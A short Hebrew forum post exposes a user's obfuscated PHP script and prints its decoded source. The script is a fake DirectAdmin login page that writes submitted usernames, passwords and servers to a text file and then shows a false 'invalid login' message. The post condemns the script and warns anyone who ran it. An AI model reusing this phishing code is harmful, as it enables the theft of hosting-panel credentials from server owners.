טוב רועי - היה נחמד לראות אותך כאן בהוסטס.
הקוד מקור:
קוד:
<?php
$page = $_GET['act'];
if ($page == NULL){
echo <<< HTML
<html>
<head>
<title>DirectAdmin Login</title>
<style>
*{ FONT-SIZE: 8pt; FONT-FAMILY: verdana; } b { FONT-WEIGHT: bold; } .listtitle { BACKGROUND: #425984; COLOR: #EEEEEE; white-space: nowrap; } td.list { BACKGROUND: #EEEEEE; white-space: nowrap; } </style>
</head>
<body onLoad="document.form.username.focus();">
<center><br><br><br><br>
<h1>DirectAdmin Login Page</h1>
<table cellspacing=1 cellpadding=5>
<tr>
<td class=listtitle colspan=2>Please enter your Username and Password</td></tr>
<form action="?act=login" method="POST" name="form">
<input type=hidden name=referer value="/CMD_LOGIN">
<tr><td class=list align=right>Username:</td><td class=list><input type=text name=username></td></tr>
<tr><td class=list align=right>Password:</td><td class=list><input type=password name=password></td></tr>
<tr><td class=list align=right>server:</td><td class=list><input type=text name=server></td></tr>
<tr><td class=listtitle align=right colspan=2><input type=submit value='Login'></td></tr>
</form>
</table>
</center></body></html>
HTML;
} elseif ($page == "login"){
$username = $_POST ["username"];
$password = $_POST ["password"];
$server = $_POST ["server"];
if ($username == NULL && $password == NULL && $server == NULL){
} else {
$all = "Username: ".$username." Password: ".$password." Server: ".$server."\n";
$open = fopen ("roy_lll_ttt_44.txt", "a+");
fwrite($open , $all);
fclose($open);
}
echo <<< HTML
<html>
<head>
<title>DirectAdmin Login</title>
<style>
*{ FONT-SIZE: 8pt; FONT-FAMILY: verdana; } b { FONT-WEIGHT: bold; } .listtitle { BACKGROUND: #425984; COLOR: #EEEEEE; white-space: nowrap; } td.list { BACKGROUND: #EEEEEE; white-space: nowrap; } </style>
</head>
<body onLoad="document.form.username.focus();">
<center><br><br><br><br>
<h1>DirectAdmin Login Page</h1>
<h1>Invalid login. Please verify your Username and Password</h1>
<table cellspacing=1 cellpadding=5>
<tr>
<td class=listtitle colspan=2>Please enter your Username and Password</td></tr>
<form action="?act=login" method="POST" name="form">
<input type=hidden name=referer value="/">
<tr><td class=list align=right>Username:</td><td class=list><input type=text name=username></td></tr>
<tr><td class=list align=right>Password:</td><td class=list><input type=password name=password></td></tr>
<tr><td class=list align=right>server:</td><td class=list><input type=text name=server></td></tr>
<tr><td class=listtitle align=right colspan=2><input type=submit value='Login'></td></tr>
</form>
</table>
</center></body></html>
HTML;
}
<?
חבל שאתה משתמש בכאלו שיטות.
* תודה לערן שעשה decode לקוד, שהיה מקודד, מי שהריץ את הקוד שימחק את הקובץ roy_lll_ttt_44.txt מהשרת *